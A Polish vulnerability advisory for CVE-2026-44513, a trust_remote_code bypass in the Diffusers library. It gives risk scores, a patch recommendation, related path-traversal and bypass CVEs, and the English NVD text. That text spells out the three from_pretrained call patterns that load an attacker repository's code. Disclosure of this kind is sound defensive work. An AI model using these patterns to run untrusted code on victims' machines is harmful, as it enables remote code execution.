CVE-2026-44513
WysokieCVSS 8.8Prawdopodobieństwo exploitacji (EPSS)
Podwyższone ryzykoPercentyl 62 - wyżej niż 62% wszystkich znanych CVE
Streszczenie
Biblioteka Diffusers przed wersją 0.38.0 zawiera podatność umożliwiającą ominięcie zabezpieczenia trust_remote_code. Atakujący może zdalnie wykonać dowolny kod, nawet gdy parametr trust_remote_code jest ustawiony na False lub pominięty. Problem wynika z błędnej implementacji mechanizmu weryfikacji w funkcji download(), który można ominąć przez alternatywne ścieżki kodu.
Ocena ryzyka
Organizacja ryzykuje zdalne wykonanie nieautoryzowanego kodu na serwerach lub stacjach roboczych używających biblioteki Diffusers. Atakujący może przejąć kontrolę nad systemem, wykraść dane lub zainstalować złośliwe oprogramowanie.
Rekomendacja
Należy natychmiast zaktualizować bibliotekę Diffusers do wersji 0.38.0 lub nowszej. Przed aktualizacją zaleca się tymczasowe wyłączenie korzystania z funkcji from_pretrained z niestandardowymi potokami (custom_pipeline) oraz lokalnymi snapshotami.
Inne podatności w Diffusers
Zobacz wszystkie- CVE-2026-65920Średnie
W bibliotece Diffusers do wersji 0.39.0 wykryto podatność na path traversal w funkcji _get_checkpoint_shard_files. Atakujący może dostarczyć złośliwe wartości weight_map w pliku JSON modelu, zawierające sekwencje ../ lub ścieżki absolutne, co umożliwia odczyt plików safetensors poza zamierzonym katalogiem.
- CVE-2026-45804Wysokie
Podatność w bibliotece Diffusers przed wersją 0.38.0 umożliwia ominięcie zabezpieczenia trust_remote_code. Mechanizm download() weryfikuje plik model_index.json i kod potoku, ale później ładuje dane z buforowanego folderu, który może ulec zmianie, co pozwala na wykonanie złośliwego kodu .py z repozytorium Hub bez wymagania parametru trust_remote_code=True.
Oryginalny opis (angielski, źródło NVD)
Diffusers is the a library for pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.